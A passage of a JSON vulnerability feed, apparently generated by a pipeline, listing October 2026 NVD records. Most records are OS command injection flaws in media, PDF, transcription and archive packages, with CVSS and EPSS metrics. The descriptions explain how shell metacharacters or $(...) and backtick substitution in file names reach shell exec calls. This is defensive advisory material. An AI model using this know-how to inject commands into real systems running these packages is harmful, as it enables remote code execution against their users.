use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-15176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15176","type":"primary","publishedAt":"2026-10-14T15:17:19.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15176&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15176, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110650","cveId":"CVE-2026-110650","aliases":[],"kind":"vulnerability","title":"The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell...","summary":"The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell metacharacters in file paths. Attackers who control a file name passed to generate_thumbnail, such as an uploaded file, can inject commands into os.system() calls running ffmpeg, convert or unoconv with the Python process privileges.","detail":"The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell metacharacters in file paths. Attackers who control a file name passed to generate_thumbnail, such as an uploaded file, can inject commands into os.system() calls running ffmpeg, convert or unoconv with the Python process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.793Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110650","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.02994,"percentile":0.87243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110650","type":"primary","publishedAt":"2026-10-14T15:17:18.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110649","cveId":"CVE-2026-110649","aliases":[],"kind":"vulnerability","title":"Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths.","summary":"Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. Attackers can name a media file with $(...) or backticks to execute operating system commands with Node.js process privileges when ffmpeg, ffprobe, gifsicle, or convert runs.","detail":"Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. Attackers can name a media file with $(...) or backticks to execute operating system commands with Node.js process privileges when ffmpeg, ffprobe, gifsicle, or convert runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.650Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110649","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.02521,"percentile":0.84737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110649","type":"primary","publishedAt":"2026-10-14T15:17:18.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110646","cveId":"CVE-2026-110646","aliases":[],"kind":"vulnerability","title":"Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL.","summary":"Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL. Attackers can supply cmd.exe metacharacters such as & in the setUrl() value, which executeOnWindows() passes unescaped to PHP exec(), executing commands as the PHP process.","detail":"Beganovich snappdf from 1.1.0 before 6.1.0 contains an OS command injection vulnerability on Windows that allows attackers to run commands by influencing the rendered URL. Attackers can supply cmd.exe metacharacters such as & in the setUrl() value, which executeOnWindows() passes unescaped to PHP exec(), executing commands as the PHP process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.237Z","updatedAt":"2026-10-20T02:17:10.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110646","asOf":"2026-10-20T02:17:10.103Z"},"epss":{"probability":0.02119,"percentile":0.81735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110646","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110646","type":"primary","publishedAt":"2026-10-14T15:17:18.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110645","cveId":"CVE-2026-110645","aliases":[],"kind":"vulnerability","title":"Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into...","summary":"Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.","detail":"Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.090Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110645","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.03249,"percentile":0.88236,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110645","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110645","type":"primary","publishedAt":"2026-10-14T15:17:18.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110644","cveId":"CVE-2026-110644","aliases":[],"kind":"vulnerability","title":"nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths.","summary":"nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths. Attackers can provide file names containing $() command substitution or closing quotes, which are interpolated into an ffmpeg command run via shelljs exec(), executing OS commands with Node.js process privileges.","detail":"nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths. Attackers can provide file names containing $() command substitution or closing quotes, which are interpolated into an ffmpeg command run via shelljs exec(), executing OS commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.940Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110644","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.02727,"percentile":0.85965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110644","type":"primary","publishedAt":"2026-10-14T15:17:17.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110643","cveId":"CVE-2026-110643","aliases":[],"kind":"vulnerability","title":"transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio().","summary":"transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). Attackers can inject $() or backtick substitution or a closing quote into the unescaped path passed to child_process.exec() to run commands with Node.js process privileges.","detail":"transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). Attackers can inject $() or backtick substitution or a closing quote into the unescaped path passed to child_process.exec() to run commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.790Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110643","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.02639,"percentile":0.85454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110643","type":"primary","publishedAt":"2026-10-14T15:17:17.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110640","cveId":"CVE-2026-110640","aliases":[],"kind":"vulnerability","title":"Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values...","summary":"Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values to whisper(). Attackers can inject shell metacharacters or $() substitution into the command string built by createCppCommand() and run via shelljs exec() to execute commands with Node.js process privileges.","detail":"Whisper-node through 1.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted filePath or whisperOptions.language values to whisper(). Attackers can inject shell metacharacters or $() substitution into the command string built by createCppCommand() and run via shelljs exec() to execute commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.277Z","updatedAt":"2026-10-26T17:17:15.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110640","asOf":"2026-10-26T17:17:15.210Z"},"epss":{"probability":0.02727,"percentile":0.85964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110640","type":"primary","publishedAt":"2026-10-14T15:17:17.277Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110639","cveId":"CVE-2026-110639","aliases":[],"kind":"vulnerability","title":"@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir...","summary":"@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir options. Attackers controlling these values passed to extract() can inject commands into unquoted shelljs exec() strings in the unzip, 7z, tar-bz2 and gz extractors, running them with Node.js process privileges.","detail":"@mborne/extract before 0.2.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying shell metacharacters in archivePath or targetDir options. Attackers controlling these values passed to extract() can inject commands into unquoted shelljs exec() strings in the unzip, 7z, tar-bz2 and gz extractors, running them with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.130Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110639","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.02727,"percentile":0.85965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110639","type":"primary","publishedAt":"2026-10-14T15:17:17.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110638","cveId":"CVE-2026-110638","aliases":[],"kind":"vulnerability","title":"doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag().","summary":"doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag(). Attackers can embed $(...) or backtick command substitution in the file path, which DocData._readPDF passes to a shell-based pdftotext exec call, running commands with Node.js process privileges.","detail":"doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag(). Attackers can embed $(...) or backtick command substitution in the file path, which DocData._readPDF passes to a shell-based pdftotext exec call, running commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.997Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110638","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.02727,"percentile":0.85964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110638","type":"primary","publishedAt":"2026-10-14T15:17:16.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110636","cveId":"CVE-2026-110636","aliases":[],"kind":"vulnerability","title":"pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths.","summary":"pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. Attackers controlling pdf_path or out_file can inject shell metacharacters interpreted by subprocess.Popen with shell=True to execute OS commands as the Python process.","detail":"pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. Attackers controlling pdf_path or out_file can inject shell metacharacters interpreted by subprocess.Popen with shell=True to execute OS commands as the Python process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 